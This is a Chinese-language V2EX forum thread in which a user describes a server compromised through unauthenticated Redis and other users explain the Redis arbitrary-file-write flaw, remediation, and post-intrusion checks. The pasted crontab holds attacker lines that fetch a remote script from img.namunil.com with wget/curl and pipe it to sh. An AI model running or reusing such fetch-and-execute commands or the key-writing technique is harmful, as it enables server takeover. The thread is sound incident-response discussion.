V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
strahe
V2EX  ›  问与答

一台服务器被攻破, 希望做安全的朋友帮我分析下.

  •  
  •   strahe · 2018-03-17 16:10:07 +08:00 · 2547 次点击
    这是一个创建于 1312 天前的主题,其中的信息可能已经有所发展或是发生改变。

    收到阿里云的异地登录通知, 立即登录服务器查看情况. 第一反映就是之前设置的 authorized_keys 无效了. 只能用密码登录.用密码登录以后, who只能看到我自己, 发现authorized_keys被修改(乱码).

    第一时间修改了 root 密码, 删除了authorized_keys所有内容, 修改 sshd 端口.

    histroy没有被删除, 但只有一条cat /proc/cpuinfo不是我的.

    查看了/var/log/auth.log, 发现:

    Accepted publickey for root from 171.217.45.80 port 26544 ssh2: RSA SHA256:EfMgrPiclfg8uphA89LwNg6IdLmjraeCahKHBkzKols

    这个登录记录登录 7 秒就主动退出.

    然后authorized_keys每断时间就会被之前的乱码填充.

    crontab 发现如下任务:

    REDIS0008�      redis-ver4.0.8�
    �edis-bits�@�ctime½��Zused-mem��_
     aof-preamble���bXSzU;
    */5 * * * * wget -q -O- http://img.namunil.com/ash.php|sh
    itAunMj:
    */2 * * * * curl -fsSL http://img.namunil.com/ash.php|sh
    TmwCGL;
    */3 * * * * wget -q -O- http://img.namunil.com/ash.php|sh
    CrqIHE:
    */4 * * * * curl -fsSL http://img.namunil.com/ash.php|sh
    ���q0{}��[email protected]:~# crontab -h
    
    

    删除 crontab 任务之后, authorized_keys 还是会自动被修改.

    现在迷茫, 不知道根源来自哪里.

    12 条回复    2018-03-19 06:54:45 +08:00
    500miles
        1
    500miles   2018-03-17 16:14:59 +08:00
    redis 未授权的问题... 关键词 : redis 未授权漏洞 了解一下
    strahe
        2
    strahe   2018-03-17 16:20:40 +08:00
    @500miles 之前收到过这个通知, 我这台服务器确实有个开放的 redis, 但是在 vpc 下, 监听的端口不是 0.0.0.0.
    monsterxx03
        3
    monsterxx03   2018-03-17 16:25:01 +08:00
    crontab 里的就是 redis dump 的内容,你查查从哪连到的 redis, 什么叫 “开放的 redis, 监听的端口不是 0.0.0.0"
    1iuh
        4
    1iuh   2018-03-17 16:25:35 +08:00 via iPhone
    @strahe 就是 redis 的问题。监听不是 0.0.0.0 也会被外网访问。
    strahe
        5
    strahe   2018-03-17 16:31:39 +08:00
    @monsterxx03 就是 redis 不需要密码, 但是只有 vpc 网络下可链接. 我看看.
    ihciah
        6
    ihciah   2018-03-17 17:06:07 +08:00 via iPhone
    人家都有 root 了还不是为所欲为…随便换你点什么文件很难找的,建议重装。
    wekw
        7
    wekw   2018-03-17 17:09:09 +08:00
    赶紧重装吧,无解
    des
        8
    des   2018-03-17 18:33:53 +08:00 via Android
    这不是和之前那个 redis 入侵挖坑的的一样吗?
    strahe
        9
    strahe   2018-03-17 18:36:13 +08:00
    @ihciah
    @wekw

    已经回滚, 然后在修复了 redis 那个问题. 现在比较担心的是数据是否泄露
    jeffreychiu95
        10
    jeffreychiu95   2018-03-18 00:31:14 +08:00 via Android
    yw9381
        11
    yw9381   2018-03-19 06:49:33 +08:00 via Android
    刚好是做信息安全这块。简单说下
    问题如上面几位所说。出在 redis
    早期的 redis 在软件源中安装以后是以 root 权限运行的。而 redis 提供了将数据转储到指定文件的功能。也就是说你可以以 root 权限在全盘任意位置写入文件。文件的内容也是可控的。而对于 ssh 的 authorized_keys 并不严格要求数据格式。只要某一行存在公钥即可。由此引发了漏洞。例如利用 redis 给 root 写公钥。给 web 目录写 php 的 webshell 等等。
    具体的漏洞详情可以搜一下 redis 写公钥漏洞
    新版本的 redis 在安装时候会自动建立一个名为 redis 的用户。然后以这个用户权限启动。
    修复办法
    1.升级到最新版本。
    2.如不是特别必要。可将 redis 的监听地址改为 127.0.0.1。
    3.给 redis 加上访问密码。但别是弱口令

    被入侵后检测
    1.检查 crontab(/etc/crontab 和 /var/spool/cron/crontabs/中的文件)
    2.检查异常进程。这个依机器被入侵程度具体对待
    3.检查~/.ssh/authorizeds_keys。如果发现持续写入。多半是有个进程监控或是定时任务
    4.检查~/.profile 及~/.bashrc。看看是否有后门

    其他方面
    1.别用编译安装。能软件源解决就软件源解决。因为编译安装以后。并不会根据需求创建服务及低权账户。等于还是 root 跑
    yw9381
        12
    yw9381   2018-03-19 06:54:45 +08:00 via Android
    关于数据泄漏问题。补充下
    具体看入侵者意图在不在数据本身。如果确实是来偷数据。那应该已经泄漏了。打包数据需要 cpu 负载。传输需要流量。这些在主机监控层面应该都可以看到
    如果仅仅是当作肉鸡。那数据应该没事。
    看你的问题描述我个人感觉更像是入侵者抓鸡刚好网到你了。而不是专门盯着你数据来的(取决于你数据的价值发现)
    入侵者似乎像是个用工具的小白。自己搞了一套抓鸡工具。大规模批量化的搞的
    关于   ·   帮助文档   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   1215 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 18:25 · PVG 02:25 · LAX 11:25 · JFK 14:25
    ♥ Do have faith in what you're doing.